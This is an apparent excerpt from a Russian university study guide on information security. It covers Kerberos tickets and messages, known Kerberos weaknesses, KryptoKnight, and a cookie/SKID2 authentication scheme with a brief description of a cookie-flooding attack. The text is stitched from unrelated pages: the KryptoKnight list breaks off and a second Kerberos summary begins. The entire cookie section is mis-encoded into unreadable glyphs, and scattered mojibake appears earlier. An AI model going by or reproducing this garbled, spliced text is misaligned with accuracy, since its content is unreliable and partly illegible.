Пособие «Защита информации» (МФТИ)

клиенту. Для использования конкретного сервера клиент запрашивает у TGS мандат на обращение к серверу. Если все в порядке, TGS посылает мандат клиенту. Затем клиент предъявляет серверу этот мандат вместе с уд о- стоверением. И снова, если атрибуты клиента правильны, сервер предоставляет клиенту доступ к услуге .

	Òàáë. 24-1.
	Таблица сокращений Kerberos
c	= клиент
s	= сервер
a	= сетевой адрес клиента
v	= начало и окончание времени действия мандата
t	= метка времени
Kx	= секретный ключ x
Kx,y	= сеансовый ключ для x и y
(m)Kx	= m, шифрованное секретным ключом x
Tx,y	= мандат x на использование y
Ax,y	= удостоверение x для y

Атрибуты

Kerberos использует два типа атрибутов: мандаты и удостоверения. (В дальнейшем в этом разделе будет использоваться нотация, используемая в документах Kerberos - см. 23-й.) Мандат используется для безопасной передачи серверу личности клиента, которому выдан этот мандат . В нем также содержится информация, которую сервер может использовать для проверки того, что клиент, использующий мандат, - это именно тот клиент, которому этот мандат был выдан. Удостоверение - это дополнительный атрибут, предъявляемый вместе с ма н- датом. Мандат Kerberos имеет следующую форму:

Tc,s = s, {c, a, v, Kc,s}Ks.

Мандат хорош для одного сервера и одного клиента . Он содержит имя клиента, его сетевой адрес, имя се р- вера, метку времени и сеансовый ключ . Эта информация шифруется секретным ключом сервера . Если клиент получил мандат, он может использовать его для доступа к серверу много раз - пока не истечет срок действия мандата. Не может расшифровать мандат (он не знает секретного ключа сервера), но он может предъявить его серверу в зашифрованной форме. Прочитать или изменить мандат при передаче его по сети невозможно . Удостоверение Kerberos имеет следующую форму:

Ac,s = {c, t, êëþ÷}Kc,s

Клиент создает его каждый раз, когда ему нужно воспользоваться услугами сервера . Удостоверение содержит имя клиента, метку времени и необязательный дополнительный сеансовый ключ , все эти данные шифруются сеансовым ключом, общим для клиента и сервера . В отличие от мандата удостоверение используется только один раз. Однако это не проблема, так как клиент может генерировать удостоверения по мере надобности (ему известен общий секретные ключ).

Использование удостоверения преследует две цели . Во первых, оно содержит некоторый открытый текст, зашифрованный сеансовым ключом. Это доказывает, что клиенту известен ключ . Что не менее важно, зашифрованный открытый текст включает метку времени . Злоумышленник, которому удалось записать и мандат, и удостоверение, не сможет использовать их спустя два дня .

Сообщения Kerberos версии 5

ÂKerberos версии 5 используется пять сообщений (см. 23-é):

1.Клиент-Kerberos: c,tgs

2.Kerberos-клиент: {Kc,tgs}Kc, {Tc,tgs}Ktgs

3.Клиент-TGS: {Ac,s}Kc,tgs{Tc,tgs} Ktgs,s

4.TGS-клиент: {Kc,s}Kc,tgs{Tc,s}Ks

5.Клиент-сервер: {Ac,s}Kc,s {Tc,s}Ks

Теперь рассмотрим использование этих сообщений подробно .

Получение первоначального мандата

У клиента есть часть информации, доказывающей его личность - его пароль . Понятно, что не хочется заставлять клиента передавать пароль по сети . Протокол Kerberos минимизирует вероятность компрометации п а- роля, но при этом не позволяет пользователю правильно идентифицировать себя, если он не знает пароля .

80

Клиент посылает сообщение, содержащее его имя и имя его сервера TGS на сервер проверки подлинности Kerberos. (может быть несколько серверов TGS.) На практике пользователь, скорее всего, просто вводит свое имя и программа входа в систему посылает запрос .

Сервер проверки подлинности Kerberos ищет данные о клиенте в своей базе данных . Если информация о клиенте есть в базе данных, Kerberos генерирует сеансовый ключ, который будет использоваться для обмена данными между клиентом и TGS. Он называется Мандатом на выделение мандата (Ticket Granting Ticket, TGT). Kerberos шифрует этот сеансовый ключ секретным ключом клиента . Затем он создает для клиента TGT, доказывающий подлинность клиента TGS, и шифрует его секретным ключом TGS. Сервер проверки подлинности посылает эти два зашифрованных сообщения клиенту .

Теперь клиент расшифровывает первое сообщение и получает сеансовый ключ . Секретный ключ является однонаправленной хэш-функцией клиентского пароля , поэтому у законного пользователя не будет никаких пр о- блем. Самозванец не знает правильного пароля и, следовательно, не может расшифровать ответ сервера пр о- верки подлинности. Доступ запрещается, и самозванный клиент не может получить мандат или сеансовый ключ.

Клиент сохраняет TGT и сеансовый ключ, стирая пароль и хэш-значение . Эта информация уничтожается для уменьшения вероятности компрометации . Если враг попытается скопировать память клиента, он получит только TGT и сеансовый ключ. Эти данные важны, но только на время жизни TGT. Когда срок действия TGT истечет, эти сведения станут бессмысленными. Теперь в течение времени жизни TGT клиент может доказывать TGS свою подлинность.

Получение серверных мандатов

Клиенту требуется получить отдельный мандат для каждой нужной ему услуги . TGS выделяет мандаты для отдельных серверов.

Когда клиенту нужен мандат, которого у него пока нет, он посылает запрос к TGS. (На практике программа, скорее всего, делает это автоматически и незаметно для пользователя .)

TGS, получив запрос, расшифровывает TGT своим секретным ключом. Затем TGS использует включенный в TGT сеансовый ключ, чтобы расшифровать удостоверение . Наконец TGS сравнивает информацию удостоверения с информацией мандата, сетевой адрес клиента с адресом отправителя запроса и метку времени с текущим временем. Если все совпадает, TGS разрешает выполнение запроса.

Проверка меток времени предполагает, что часы всех компьютеров синхронизированы, по крайней мере с точностью до нескольких минут. Если время, указанное в запросе, отстоит от текущего момента слишком дал е- ко в прошлое или в будущее, TGS считает запрос попыткой повторения предыдущего запроса . TGS должна также отслеживать правильность сроков действия удостоверений , так как услуги сервера могут запрашиваться н е- сколько раз последовательно с одним мандатом, но разными удостоверениями . Другой запрос с тем же мандатом и уже использованной меткой времени удостовер ения будет отвергнут.

В ответ на правильный запрос TGS возвращает правильный мандат, который клиент может предъявить се р- веру. TGS также создает новый сеансовый ключ для клиента и сервера , зашифрованный сеансовым ключом, общим для клиента и TGS. Оба этих сообщения отправляются клиенту . Клиент расшифровывает сообщение и извлекает сеансовый ключ.

Запрос услуги

Теперь клиент может доказать свою подлинность серверу . Он создает сообщение, очень похожее на то, кот о- рое посылалось TGS (и это понятно, так как TGS - тоже услуга).

Клиент создает удостоверение, состоящее из его имени, сетевого адреса и метки времени, зашифрованное сеансовым ключом, который был генерирован TGS для сеанса клиента и сервера. Запрос состоит из мандата, полученного от Kerberos (уже зашифрованного секретным ключом сервера ) и зашифрованного идентификатора.

Сервер расшифровывает и проверяет мандат и удостоверение, как уже обсуждалось, а также проверяет адрес клиента и метку времени. Если все в порядке, то сервер уверен, что, согласно Kerberos, клиент - именно тот, за кого он себя выдает.

Если приложение требует взаимной проверки подлинности, сервер посылает клиенту сообщение, состоящее из метки времени, зашифрованной сеансовым ключом . Это доказывает, что серверу известен правильный се к- ретный ключ, и он может расшифровать мандат и удостоверение .

При необходимости клиент и сервер могут шифровать дальнейшие сообщения общим ключом . Так как этот ключ известен только им, они оба могут быть уверены, что последнее сообщение, зашифрованное этим ключом, отправлено другой стороной.

81

Kerberos версии 4

В предыдущих разделах рассматривался Kerberos версии 5. Версия 4 немного отличается сообщениями и конструкцией мандатов и удостоверений . В Kerberos версии 4 используются следующие пять сообщений:

1.Клиент-Kerberos: c,tgs

2.Kerberos-клиент: {Kc,tgs{Tc,tgs}Ktgs}Kc,

3.Клиент-TGS: {Ac,s}Kc,tgs{Tc,tgs} Ktgs,s

4.TGS-клиент: {Kc,s{Tc,s}Ks}Kc,tgs

5.Клиент-сервер: {Ac,s}Kc,s {Tc,s}Ks

Tc,s = {s, c, a, v, l, Kc,s}Ks

Ac,s = {c, a, t} Kc,s

Сообщения 1,3 и 5 не изменились. Двойное шифрование мандата на этапах 2 и 4 в версии 5 было устранено. Мандаты версии 5 дополнительно включают возможность использовать несколько адресов, а поле "время жи з- ни", l, заменено временем начала и окончания . В удостоверение версии пять добавлена возможность включения дополнительного ключа.

Безопасность Kerberos

Стив Белловин (Steve Bellovin) и Майкл Мерритт (Michael Merritt) проанализировали некоторые потенциальные уязвимые места Kerberos [108]. Хотя эта работа была написана про протоколы версии 4, многие ее замечания применимы и к версии 5.

Возможно кэширование и повторное использование старых удостоверений . Хотя метки должны предотвратить иакую возможность, удостоверения могут использоваться повторно в течение времени жизни мандата . Предполагается, что серверы хранят все правильные мандаты, чтобы обнаружить повторы, но это не всегда возможно. Кроме того, время жизни бывает достаточно большим, часто до восьми часов .

Использование удостоверений основаны на том, что все часы сети более или менее синхронизированы . Если время компьютера будет установлено неправильно , то старое удостоверение может быть использовано без пр о- блем. Большинство сетевых протоколов поддержки единого времени небезопасны, поэтому такая возможность представляет собой серьезную проблему .

Kerberos также чувствителен к вскрытиям с угадыванием пароля . Злоумышленник может записать мандаты и затем попытаться их расшифровать. Не забудем, что средний пользователь редко выбирает хороший пароль . Если Мэллори добудет достаточно мандатов, у него появятся неплохие шансы раскрыть пароль .

Возможно самым опасным является вскрытие, использующее специальное программное обеспечение . Протоколы Kerberos подразумевают, что программному обеспечению можно доверять . Нет способа помешать Мэллори исподтишка заменить все клиентское программное обеспечение Kerberos такой версией, которая помимо выполнения протоколов Kerberos записывает пароли. Это является проблемой для любого криптографического программного пакета, работающего на небезопасном компьютере , но широко распространенное использование Kerberos в подобных средах делает его особенно привлекательной мишенью .

Ведутся работы над улучшением Kerberos, включая модернизацию управления ключами с помощью крипт о- графии с открытыми ключами и интерфейса интеллектуальных карточек .

Лицензии

Kerberos не является общедоступным, но код МТИ доступен свободно . Действительная реализация в работающих системах UNIX - это совсем другая история. Ряд компаний продает версии Kerberos, но можно полу- чить хорошую версию бесплатно от Cygnus Support, 814 University Ave., Pale Alto, CA, 94301; (415) 32,2.-3811; fax: [phone].

24.6 KRYPTOKNIGHT

KryptoKnight (КриптоРыцарь) является системой проверки подлинности и распределения ключей, разраб о- танной в IBM. Это протокол с секретным ключом, использующий либо DES в режиме CBC (см. раздел 9.3) или модифицированную версию MD5 (см. раздел 18.5). KryptoKnight поддерживает четыре сервиса безопасности :

—Проверка подлинности пользователя (называемая единственной подписью - single sign-on)

—Двусторонняя проверка подлинности

—Распределение ключей

82

Kerberos

Kerberos - вариант протокола Needham-Schroeder - подробно обсуждается в разделе 24.5. В базовом прото коле Kerberos Version 5 у Алисы и Боба общие ключи с Трентом . Алиса хочет генерировать сеансовый ключ для сеанса связи с Бобом.

(1)Алиса посылает Тренту сообщение со своим именем и именем Боба:

A, B

(2)Трент создает сообщение, состоящее из метки времени, время жизни, L, случайного сеансового ключа имени Алисы. Он шифрует сообщение ключом, общим для него и Боба. Затем он объединяет метку вр е мени, время жизни, сеансовый ключ, имя Боба, и шифрует полученное сообщение ключом, общим для н е го и Алисы. Оба шифрованных сообщения он отправляет Алисе.

EA(T, L, K, B), EB(T, L, K, A)

(3)Алиса создает сообщение, состоящее из ее имени и метки времени, шифрует его ключом K и отправляе Бобу. Алиса также посылает Бобу сообщение от Трента, шифрованное ключом Боба:

EA(A, T), EB(T, L, K, A)

(4)Боб создает сообщение, состоящее из метки времени плюс единица, шифрует его ключом K и отправляе Алисе:

EK(T+1)

Этот протокол работает, но только если часы каждого пользователя синхронизированы с часами Трента . Н практике эффект достигается синхронизацией с надежным сервером времени с точностью в несколько минут и обнаружением повторной передачи в течение определенного интервала времени .

83

Ɇɟɯɚɧɢɡɦ Cookie ɛɵɥ ɜɜɟɞɟɧ ɤɨɦɩɚɧɢɟɣ Netscape.

ȼɨɬɥɢɱɢɟ ɨɬ ɩɪɨɬɨɤɨɥɨɜ FTP ɢ Telnet, ɜ ɩɪɨɬɨɤɨɥɟ HTTP ɫɨɟɞɢɧɟɧɢɟ ɭɫɬɚɧɚɜɥɢɜɚɟɬɫɹ ɬɨɥɶɤɨ ɧɚ ɜɪɟɦɹ, ɧɟɨɛɯɨɞɢɦɨɟ ɞɥɹ ɩɟɪɟɞɚɱɢ ɞɚɧɧɵɯ ɨɬ ɫɟɪɜɟɪɚ ɤɥɢɟɧɬɭ, ɩɨɫɥɟ ɱɟɝɨ ɫɨɟɞɢɧɟɧɢɟ ɚɜɬɨɦɚɬɢɱɟɫɤɢ ɪɚɡɪɵɜɚɟɬɫɹ. Ɉɞɧɚɤɨ ɞɥɹ ɞɨɫɬɭɩɚ ɤ ɪɟɫɭɪɫɚɦ ɦɨɠɟɬ ɩɨɬɪɟɛɨɜɚɬɶɫɹ ɚɭɬɟɧɬɢɮɢɤɚɰɢɹ. ȼ ɷɬɨɦ ɫɥɭɱɚɟ ɩɪɢɞɟɬɫɹ ɤɚɠɞɵɣ ɪɚɡ ɩɪɢ ɨɛɪɚɳɟɧɢɢ ɤ ɪɟɫɭɪɫɭ ɚɭɬɟɧɬɢɮɢɰɢɪɨɜɚɬɶɫɹ (ɜɜɨɞɢɬɶ ɢɦɹ ɩɨɥɶɡɨɜɚɬɟɥɹ ɢ ɩɚɪɨɥɶ), ɱɬɨ ɞɟɥɚɟɬ ɪɚɛɨɬɭ ɫ ɫɟɪɜɟɪɨɦ ɨɱɟɧɶ ɧɟɭɞɨɛɧɨɣ. ɂɡɧɚɱɚɥɶɧɨ ɜɵɯɨɞɢɥɢ ɢɡ ɩɨɥɨɠɟɧɢɹ, ɜɜɨɞɹ ɧɟɜɢɞɢɦɵɟ ɩɨɥɹ HTML ɮɨɪɦ, ɧɨ ɷɬɨɬ ɫɩɨɫɨɛ ɨɤɚɡɚɥɫɹ ɨɱɟɧɶ ɧɟɭɞɨɛɧɵɦ: ɩɪɢɯɨɞɢɥɨɫɶ ɤɚɠɞɵɣ ɪɚɡ ɜɵɡɵɜɚɬɶ ɫɤɪɢɩɬ, ɱɬɨɛɵ ɨɛɪɚɛɚɬɵɜɚɬɶ ɷɬɢ ɩɨɥɹ.

ȼɤɨɧɰɟ ɤɨɧɰɨɜ, ɜɵɯɨɞ ɛɵɥ ɧɚɣɞɟɧ ɜ ɜɢɞɟ ɦɟɯɚɧɢɡɦɚ Cookie. Ɉɧ ɡɚɤɥɸɱɚɟɬɫɹ ɜ ɬɨɦ, ɱɬɨ ɜ ɡɚɝɨɥɨɜɤɟ HTTP ɫɨɨɛɳɟɧɢɹ ɨɬ ɫɟɪɜɟɪɚ ɤ ɛɪɚɭɡɟɪɭ ɩɟɪɟɞɚɟɬɫɹ Cookie. Cookie ɛɪɚɭɡɟɪ ɫɨɯɪɚɧɹɟɬ ɧɚ ɤɨɦɩɶɸɬɟɪɟ ɢ ɡɚɬɟɦ ɢɫɩɨɥɶɡɭɟɬ ɟɝɨ ɩɪɢ ɩɨɫɥɟɞɭɸɳɢɯ ɨɛɪɚɳɟɧɢɹɯ ɤ ɫɟɪɜɟɪɭ.

Ɏɨɪɦɚɬ ɢ ɫɢɧɬɚɤɫɢɫ Cookie.

Ɉɛɳɢɣ ɮɨɪɦɚɬ ɩɨɥɹ Set-Cookie HTTP ɡɚɝɨɥɨɜɤɚ:

Set-Cookie: NAME=VALUE; [expires=DATE; path=PATH; domain=DOMAIN; secure]

[]–ɨɬɦɟɱɟɧɵ ɩɨɥɹ, ɤɨɬɨɪɵɟ ɦɨɠɧɨ ɨɩɭɫɬɢɬɶ.

NAME=VALUE – ɫɬɪɨɤɚ ɫɢɦɜɨɥɨɜ, ɡɚɩɹɬɵɟ, ɩɪɨɛɟɥɵ ɢ ɩɟɪɟɜɨɞ ɫɪɨɤɢ ɡɚɩɪɟɳɟɧɵ. NAME–ɢɦɹ cookie, VALUE – ɡɧɚɱɟɧɢɟ.

expires=DATE – ɜɪɟɦɹ, ɞɨ ɤɨɬɨɪɨɝɨ ɯɪɚɧɢɬɫɹ cookie

DATE–ɞɚɬɚ ɜ ɮɨɪɦɚɬɟ DD-MM-YYYY HH:MM:SS GMT. ȼ ɫɥɭɱɚɟ, ɤɨɝɞɚ ɷɬɨ ɩɨɥɟ ɨɩɭɳɟɧɨ, ɩɨɫɥɟ ɨɤɨɧɱɚɧɢɹ ɫɟɚɧɫɚ cookie ɭɞɚɥɹɟɬɫɹ.

domain=DOMAIN – ɞɨɦɟɧ, ɜ ɤɨɬɨɪɨɦ ɡɧɚɱɟɧɢɟ cookie ɞɟɣɫɬɜɭɟɬ, ɧɚɩɪɢɦɟɪ domain=cookie.com. ɉɪɢ ɷɬɨɦ cookie ɛɭɞɟɬ ɩɪɢɦɟɧɹɬɶɫɹ ɢ ɞɥɹ cookie.com ɢ ɞɥɹ www.cookie.com. ȼ ɫɥɭɱɚɟ, ɤɨɝɞɚ ɷɬɨ ɩɨɥɟ ɨɩɭɳɟɧɨ, ɛɭɞɟɬ ɩɪɢɦɟɧɹɬɶɫɹ ɢɦɹ ɞɨɦɟɧɚ, ɫ ɤɨɬɨɪɨɝɨ ɛɵɥ ɩɨɥɭɱɟɧ cookie.

path=PATH – ɷɬɨ ɩɨɥɟ ɨɝɪɚɧɢɱɢɜɚɟɬ ɦɧɨɠɟɫɬɜɨ ɞɨɤɭɦɟɧɬɨɜ, ɞɥɹ ɤɨɬɨɪɵɯ ɩɪɢɦɟɧɹɟɬɫɹ cookie. ɇɚɩɪɢɦɟɪ, ɩɪɢ ɡɚɞɚɧɧɨɦ path=cook, cookie ɞɟɣɫɬɜɢɬɟɥɟɧ ɞɥɹ ɮɚɣɥɨɜ ɢɡ ɩɚɩɤɢ ɧɚ ɫɟɪɜɟɪɟ /cook/, ɬɚɤɠɟ ɞɥɹ /cookie/; ɞɥɹ ɮɚɣɥɨɜ ɢɡ ɬɟɤɭɳɟɣ ɞɢɪɟɤɬɨɪɢɢ cook.htm ɢ cookie.shtml. ȼ ɫɥɭɱɚɟ, ɤɨɝɞɚ ɷɬɨ ɩɨɥɟ ɧɟ ɭɤɚɡɚɧɨ, cookie ɛɭɞɟɬ ɞɟɣɫɬɜɢɬɟɥɟɧ ɞɥɹ ɮɚɣɥɨɜ, ɧɚɯɨɞɹɳɢɯɫɹ ɜ ɬɟɤɭɳɟɣ ɞɢɪɟɤɬɨɪɢɢ.

secure – ɤɨɝɞɚ ɭɫɬɚɧɨɜɥɟɧ ɬɚɤɨɣ ɦɚɪɤɟɪ, ɬɨɝɞɚ cookie ɩɟɪɟɞɚɟɬɫɹ ɬɨɥɶɤɨ ɱɟɪɟɡ ɩɪɨɬɨɤɨɥ HTTPS. ȼ ɫɥɭɱɚɟ, ɤɨɝɞɚ ɷɬɨ ɩɨɥɟ ɧɟ ɭɤɚɡɚɧɨ, ɢɧɮɨɪɦɚɰɢɹ ɩɟɪɟɞɚɟɬɫɹ ɜ plain ɜɢɞɟ ɛɟɡ ɲɢɮɪɨɜɚɧɢɹ.

ȼɢɞ HTTP ɡɚɝɨɥɨɜɤɚ ɞɥɹ ɩɨɥɹ Cookie

ɉɟɪɟɞ ɡɚɩɪɨɫɨɦ ɞɨɤɭɦɟɧɬɚ ɫ HTTP ɫɟɪɜɟɪɚ, ɛɪɚɭɡɟɪ ɢɳɟɬ cookie, ɩɨɞɯɨɞɹɳɢɟ ɞɥɹ ɞɚɧɧɨɝɨ ɞɨɤɭɦɟɧɬɚ, ɪɭɤɨɜɨɞɫɬɜɭɹɫɶ ɡɧɚɱɟɧɢɹɦɢ ɩɨɥɟɣ cookie, ɧɚɩɪɢɦɟɪ ɢɦɟɧɟɦ ɞɨɦɟɧɚ ɢ ɩɪɨɱɟɣ ɢɧɮɨɪɦɚɰɢɟɣ. ȿɫɥɢ ɩɨɞɯɨɞɹɳɢɣ cookie ɧɚɣɞɟɧ, ɛɪɚɭɡɟɪ ɩɨɫɵɥɚɟɬ cookie ɫɟɪɜɟɪɭ ɜ ɜɢɞɟ:

Cookie: name1=NAME1; name2=NAME2; …

2

84

ȿɫɥɢ ɛɪɚɭɡɟɪ ɩɨɥɭɱɚɟɬ cookie, ɤɨɬɨɪɵɣ ɫɨɜɩɚɞɚɟɬ ɫ ɢɦɟɸɳɢɦɫɹ ɜ ɩɨɥɹɯ name, domain ɢ path, ɫɬɚɪɵɣ cookie ɡɚɦɟɧɹɟɬɫɹ ɧɚ ɧɨɜɵɣ. ȼ ɩɪɨɬɢɜɧɨɦ ɫɥɭɱɚɟ cookie ɞɨɛɚɜɥɹɟɬɫɹ.

Ȼɪɚɭɡɟɪ ɢɦɟɟɬ ɧɟɤɨɬɨɪɵɟ ɨɝɪɚɧɢɱɟɧɢɹ ɩɨ cookie:

xȼɫɟɝɨ ɦɨɠɟɬ ɯɪɚɧɢɬɶɫɹ ɧɟ ɛɨɥɟɟ 300 cookies. ȼ ɫɥɭɱɚɟ ɩɪɟɜɵɲɟɧɢɹ ɥɢɦɢɬɚ ɫɚɦɵɟ ɫɬɚɪɵɟ cookie ɡɚɦɟɧɹɸɬɫɹ ɧɚ ɧɨɜɵɟ. ɇɚ ɷɬɨɦ ɮɚɤɬɟ ɨɫɧɨɜɚɧɵ ɧɟɤɨɬɨɪɵɟ ɚɬɚɤɢ ɧɚ cookie: ɧɚɩɪɢɦɟɪ, ɦɨɠɧɨ ɧɚɩɢɫɚɬɶ ɫɤɪɢɩɬ, ɝɞɟ ɫ 15 ɞɨɦɟɧɨɜ ɦɨɠɧɨ ɩɟɪɟɞɚɬɶ ɩɨ 20 cookies, ɢ ɬɚɤɢɦ ɨɛɪɚɡɨɦ ɜɵɱɢɫɬɢɬɶ ɜɟɫɶ ɧɚɤɨɩɥɟɧɧɵɣ ɜ ɬɟɱɟɧɢɟ ɞɥɢɬɟɥɶɧɨɝɨ ɜɪɟɦɟɧɢ ɡɚɩɚɫ cookie ɭ ɩɨɥɶɡɨɜɚɬɟɥɹ.

xɋ ɨɞɧɨɝɨ ɞɨɦɟɧɚ ɦɨɝɭɬ ɯɪɚɧɢɬɶɫɹ ɧɟ ɛɨɥɟɟ 20 cookies. ȼ ɫɥɭɱɚɟ ɩɪɟɜɵɲɟɧɢɹ ɥɢɦɢɬɚ ɫɬɚɪɵɟ cookie ɫ ɞɚɧɧɨɝɨ ɞɨɦɟɧɚ ɡɚɦɟɧɹɸɬɫɹ ɧɚ ɧɨɜɵɟ. Ʉɚɤ ɢ ɫ ɩɪɟɞɵɞɭɳɢɦ ɥɢɦɢɬɨɦ, ɫ ɷɬɢɦ ɬɚɤɠɟ ɫɜɹɡɚɧɵ ɧɟɤɨɬɨɪɵɟ ɚɬɚɤɢ. Ⱦɥɹ ɷɬɨɝɨ ɧɭɠɧɨ ɧɚ ɤɚɤɨɣ-ɧɢɛɭɞɶ ɫɟɪɜɟɪ ɡɚɤɚɱɚɬɶ HTML-ɞɨɤɭɦɟɧɬ, ɜ ɤɨɬɨɪɨɦ ɪɚɡɦɟɫɬɢɬɶ ɫɤɪɢɩɬ, ɩɟɪɟɞɚɸɳɢɣ ɤɥɢɟɧɬɭ 20 cookies. ɂ ɜɟɫɶ ɡɚɩɚɫ cookies ɞɥɹ ɞɚɧɧɨɝɨ ɫɟɪɜɟɪɚ ɡɚ ɧɟɫɤɨɥɶɤɨ ɫɟɤɭɧɞ ɛɭɞɟɬ ɜɵɱɢɳɟɧ. ȿɫɥɢ ɠɟɪɬɜɚ ɱɢɬɚɟɬ ɩɨɱɬɭ ɱɟɪɟɡ Web, ɫɞɟɥɚɬɶ ɷɬɨ ɧɟɫɥɨɠɧɨ: ɞɨɫɬɚɬɨɱɧɨ ɩɨɫɥɚɬɶ ɷɬɨɬ ɞɨɤɭɦɟɧɬ ɩɨ ɷɥɟɤɬɪɨɧɧɨɣ ɩɨɱɬɟ, ɢ ɜɫɟ cookie ɨɬ ɩɨɱɬɨɜɨɝɨ ɫɟɪɜɟɪɚ ɧɚ ɤɨɦɩɶɸɬɟɪɟ ɠɟɪɬɜɵ ɛɭɞɭɬ ɜɵɱɢɳɟɧɵ

xɈɬɞɟɥɶɧɵɣ cookie ɨɝɪɚɧɢɱɟɧ ɪɚɡɦɟɪɨɦ ɜ 4 ɤɢɥɨɛɚɣɬɚ. ɉɪɢ ɩɪɟɜɵɲɟɧɢɢ ɞɚɧɧɨɝɨ ɥɢɦɢɬɚ ɨɬ cookie ɬɨɥɶɤɨ ɤɨɧɟɰ ɪɚɡɦɟɪɨɦ 4Ʉ. ɇɚ ɞɚɧɧɨɦ ɥɢɦɢɬɟ ɚɬɚɤɭ ɫɞɟɥɚɬɶ ɫɥɨɠɧɨ, ɦɨɠɧɨ ɥɢɲɶ ɡɚɛɢɬɶ ɠɟɪɬɜɟ 1200Ʉ ɞɢɫɤɨɜɨɝɨ ɩɪɨɫɬɪɚɧɫɬɜɚ, ɩɪɢ ɩɥɨɯɨɦ ɫɨɟɞɢɧɟɧɢɢ ɦɨɠɧɨ ɞɢɫɤɨɧɧɟɤɬɢɬɶ ɠɟɪɬɜɭ ɚɬɚɤɢ.

Proxy-ɫɟɪɜɟɪɚ cookie ɧɟ ɤɷɲɢɪɭɸɬ ɢ ɜɫɟɝɞɚ cookie ɩɪɨɩɭɫɤɚɸɬ, ɜɧɟ ɡɚɜɢɫɢɦɨɫɬɢ ɨɬ ɬɨɝɨ, ɤɷɲɢɪɨɜɚɧ ɥɢ ɫɚɦ ɞɨɤɭɦɟɧɬ, ɢɥɢ ɧɟɬ.

Ⱥɭɬɟɧɬɢɮɢɤɚɰɢɹ ɩɨɫɪɟɞɫɬɜɨɦ cookie ɫ ɢɫɩɨɥɶɡɨɜɚɧɢɟɦ HMAC ɢ SKID2.

ɂɧɨɝɞɚ ɛɵɥɨ ɛɵ ɩɨɥɟɡɧɨ ɢɫɩɨɥɶɡɨɜɚɬɶ ɚɭɬɟɧɬɢɮɢɤɚɰɢɸ ɛɟɡ ɩɪɢɦɟɧɟɧɢɹ SSL/TLS. SKID2 – ɩɪɨɬɨɤɨɥ, ɤɨɬɨɪɵɣ ɨɛɟɫɩɟɱɢɜɚɟɬ ɬɚɤɭɸ ɚɭɬɟɧɬɢɮɢɤɚɰɢɸ, ɢɫɩɨɥɶɡɭɹ cookie.

ɉɪɟɞɩɨɥɨɠɢɦ, ɱɬɨ ɤɥɢɟɧɬ ɯɨɱɟɬ ɚɭɬɟɧɬɢɮɢɰɢɪɨɜɚɬɶɫɹ ɭ ɫɟɪɜɟɪɚ, ɢɫɩɨɥɶɡɭɹ ɢɦɹ ɩɨɥɶɡɨɜɚɬɟɥɹ username ɢ ɩɚɪɨɥɶ password. əɫɧɨ, ɱɬɨ ɩɚɪɨɥɶ ɜ ɨɬɤɪɵɬɨɦ ɜɢɞɟ ɩɟɪɟɞɚɜɚɬɶɫɹ ɧɟ ɞɨɥɠɟɧ.

ɒɚɝ 1. ɍ ɫɟɪɜɟɪɚ ɟɫɬɶ ɝɥɨɛɚɥɶɧɵɣ ɫɟɤɪɟɬɧɵɣ ɤɥɸɱ KEY.

ɒɚɝ 2. ɋɟɪɜɟɪ ɩɨɫɵɥɚɟɬ ɫɥɭɱɚɣɧɭɸ ɫɪɨɤɭ (ɨɤɨɥɨ 8 ɛɚɣɬ) ɤɥɢɟɧɬɭ. ɇɚɡɨɜɟɦ ɟɟ random1.

ɋɟɪɜɟɪ ɩɨɲɥɟɬ ɤɥɢɟɧɬɭ cookie, ɫɨɞɟɪɠɚɳɢɣ Y: Y = random1 + HMAC(KEY, random1)

ɒɚɝ 3. Ʉɥɢɟɧɬ ɢɡɜɥɟɤɚɟɬ ɢɡ cookie random1. Ⱦɚɥɟɟ ɨɧ ɝɟɧɟɪɢɪɭɟɬ ɫɥɭɱɚɣɧɨɟ ɱɢɫɥɨ random2 ɢ ɜɵɱɢɫɥɹɟɬ X = HMAC(password, random1 + random2).

Ʉɥɢɟɧɬ ɩɨɫɵɥɚɟɬ ɫɟɪɜɟɪɭ cookie, ɫɨɞɟɪɠɚɳɢɣ

X, username, random2

ɒɚɝ 4. ɋɟɪɜɟɪ ɱɢɬɚɟɬ cookie ɩɪɢɲɟɞɲɢɣ ɨɬ ɤɥɢɟɧɬɚ ɢ ɢɡɜɥɟɤɚɟɬ random1, random2,

3

85

username, X.

a.ɋɧɚɱɚɥɚ ɫɟɪɜɟɪ ɢɡɜɥɟɤɚɟɬ random1 ɢɡ Y ɢ ɩɪɨɜɟɪɹɟɬ, ɱɬɨ random1 + HMAC(KEY, random1) == Y.

ȿɫɥɢ ɨɧɢ ɧɟ ɨɞɢɧɚɤɨɜɵ, ɬɨ ɩɪɨɬɨɤɨɥ ɩɪɟɪɵɜɚɟɬɫɹ.

b.ɉɪɨɜɟɪɹɟɬ ɛɚɡɭ ɞɚɧɧɵɯ ɩɨɥɶɡɨɜɚɬɟɥɟɣ ɧɚ ɧɚɥɢɱɢɟ ɜ ɧɟɣ username ɢ ɡɚɬɟɦ ɩɪɨɜɟɪɹɟɬ ɩɚɪɨɥɶ ɩɨɥɶɡɨɜɚɬɟɥɹ.

c.ɉɪɨɜɟɪɹɟɬ ɱɬɨ HMAC(password, random1 + random2) == X.

ȿɫɥɢ ɨɧɢ ɧɟ ɫɨɜɩɚɞɚɸɬ, ɬɨ ɩɪɨɬɨɤɨɥ ɩɪɟɪɵɜɚɟɬɫɹ.

ɒɚɝ 5. ɉɨɥɶɡɨɜɚɬɟɥɶ ɬɟɩɟɪɶ ɚɭɬɟɧɬɢɮɢɰɢɪɨɜɚɧ. ɑɬɨɛɵ ɩɨɞɞɟɪɠɢɜɚɬɶ ɫɟɫɫɢɸ, ɧɟɨɛɯɨɞɢɦɨ ɫɝɟɧɟɪɢɪɨɜɚɬɶ ɫɟɫɫɢɨɧɧɵɣ cookie. ɇɚɩɪɢɦɟɪ, ɨɧ ɦɨɠɟɬ ɛɵɬɶ ɬɚɤɢɦ:

TIME + username + HMAC(KEY, username + TIME + IP)

